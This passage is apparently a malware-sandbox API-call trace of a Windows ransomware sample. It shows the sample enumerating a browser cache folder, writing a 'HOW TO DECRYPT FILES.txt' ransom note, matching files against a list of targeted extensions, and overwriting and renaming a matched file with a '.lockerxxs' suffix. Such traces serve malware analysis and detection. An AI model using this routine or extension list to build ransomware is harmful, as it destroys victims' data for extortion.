Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.771] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.771] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.771] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AAkqhIf[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" [0082.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.ems") returned 0 [0082.771] lstrlenA (lpString="*.ems") returned 5 [0082.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.db") returned 0 [0082.771] lstrlenA (lpString="*.db") returned 4 [0082.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.dbf") returned 0 [0082.771] lstrlenA (lpString="*.dbf") returned 5 [0082.771] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.myox") returned 0 [0082.771] lstrlenA (lpString="*.myox") returned 6 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.myo") returned 0 [0082.772] lstrlenA (lpString="*.myo") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qbw") returned 0 [0082.772] lstrlenA (lpString="*.qbw") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qbb") returned 0 [0082.772] lstrlenA (lpString="*.qbb") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qbm") returned 0 [0082.772] lstrlenA (lpString="*.qbm") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qbo") returned 0 [0082.772] lstrlenA (lpString="*.qbo") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qbx") returned 0 [0082.772] lstrlenA (lpString="*.qbx") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qba") returned 0 [0082.772] lstrlenA (lpString="*.qba") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qby") returned 0 [0082.772] lstrlenA (lpString="*.qby") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qbj") returned 0 [0082.772] lstrlenA (lpString="*.qbj") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.ofx") returned 0 [0082.772] lstrlenA (lpString="*.ofx") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.qif") returned 0 [0082.772] lstrlenA (lpString="*.qif") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.mye") returned 0 [0082.772] lstrlenA (lpString="*.mye") returned 5 [0082.772] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.mbox") returned 0 [0082.773] lstrlenA (lpString="*.mbox") returned 6 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.eml") returned 0 [0082.773] lstrlenA (lpString="*.eml") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.pst") returned 0 [0082.773] lstrlenA (lpString="*.pst") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.ost") returned 0 [0082.773] lstrlenA (lpString="*.ost") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.idx") returned 0 [0082.773] lstrlenA (lpString="*.idx") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.dbx") returned 0 [0082.773] lstrlenA (lpString="*.dbx") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.sql") returned 0 [0082.773] lstrlenA (lpString="*.sql") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.mdb") returned 0 [0082.773] lstrlenA (lpString="*.mdb") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.fdb") returned 0 [0082.773] lstrlenA (lpString="*.fdb") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.wab") returned 0 [0082.773] lstrlenA (lpString="*.wab") returned 5 [0082.773] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.dat") returned 0 [0082.773] lstrlenA (lpString="*.dat") returned 5 [0082.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.txt") returned 0 [0082.774] lstrlenA (lpString="*.txt") returned 5 [0082.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.jpeg") returned 0 [0082.774] lstrlenA (lpString="*.jpeg") returned 6 [0082.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.jpg") returned 0 [0082.774] lstrlenA (lpString="*.jpg") returned 5 [0082.774] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", pszSpec="*.png") returned 1 [0082.774] lstrlenA (lpString="*.png") returned 5 [0082.774] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" [0082.774] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" [0082.774] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png." [0082.774] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.lockerxxs" [0082.774] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.775] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x35c [0082.775] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5159c2b0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5159c2b0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5159c2b0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.775] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.775] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x336, lpOverlapped=0x0) returned 1 [0082.777] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png") returned="AAkqhIf[1].png" [0082.777] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.777] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x336, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x336, lpOverlapped=0x0) returned 1 [0082.777] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.777] CloseHandle (hObject=0xa4) returned 1 [0082.783] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png.lockerxxs")) returned 1 [0082.785] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458308d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458308d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458308d0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x278e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAmo09p[1].jpg", cAlternateFileName="AAMO09~1.JPG")) returned 1 [0082.785] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.785] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAmo09p[1].jpg") returned 1 [0082.785] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAmo09p[1].jpg") returned 1 [0082.785] lstrcmpiA (lpString1="", lpString2="AAmo09p[1].jpg") returned -1 [0082.785] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png") returned="AAkqhIf[1].png" [0082.785] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.785] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.785] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.785] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.785] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AAmo09p[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg" [0082.785] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.ems") returned 0 [0082.786] lstrlenA (lpString="*.ems") returned 5 [0082.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.db") returned 0 [0082.786] lstrlenA (lpString="*.db") returned 4 [0082.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.dbf") returned 0 [0082.786] lstrlenA (lpString="*.dbf") returned 5 [0082.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.myox") returned 0 [0082.786] lstrlenA (lpString="*.myox") returned 6 [0082.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.myo") returned 0 [0082.786] lstrlenA (lpString="*.myo") returned 5 [0082.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qbw") returned 0 [0082.786] lstrlenA (lpString="*.qbw") returned 5 [0082.786] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qbb") returned 0 [0082.787] lstrlenA (lpString="*.qbb") returned 5 [0082.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qbm") returned 0 [0082.787] lstrlenA (lpString="*.qbm") returned 5 [0082.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qbo") returned 0 [0082.787] lstrlenA (lpString="*.qbo") returned 5 [0082.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qbx") returned 0 [0082.787] lstrlenA (lpString="*.qbx") returned 5 [0082.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qba") returned 0 [0082.787] lstrlenA (lpString="*.qba") returned 5 [0082.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qby") returned 0 [0082.787] lstrlenA (lpString="*.qby") returned 5 [0082.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qbj") returned 0 [0082.787] lstrlenA (lpString="*.qbj") returned 5 [0082.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.ofx") returned 0 [0082.787] lstrlenA (lpString="*.ofx") returned 5 [0082.787] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.qif") returned 0 [0082.788] lstrlenA (lpString="*.qif") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.mye") returned 0 [0082.788] lstrlenA (lpString="*.mye") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.mbox") returned 0 [0082.788] lstrlenA (lpString="*.mbox") returned 6 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.eml") returned 0 [0082.788] lstrlenA (lpString="*.eml") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.pst") returned 0 [0082.788] lstrlenA (lpString="*.pst") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.ost") returned 0 [0082.788] lstrlenA (lpString="*.ost") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.idx") returned 0 [0082.788] lstrlenA (lpString="*.idx") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.dbx") returned 0 [0082.788] lstrlenA (lpString="*.dbx") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.sql") returned 0 [0082.788] lstrlenA (lpString="*.sql") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmo09p[1].jpg", pszSpec="*.mdb") returned 0 [0082.788] lstrlenA (lpString="*.mdb") returned 5 [0082.788] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 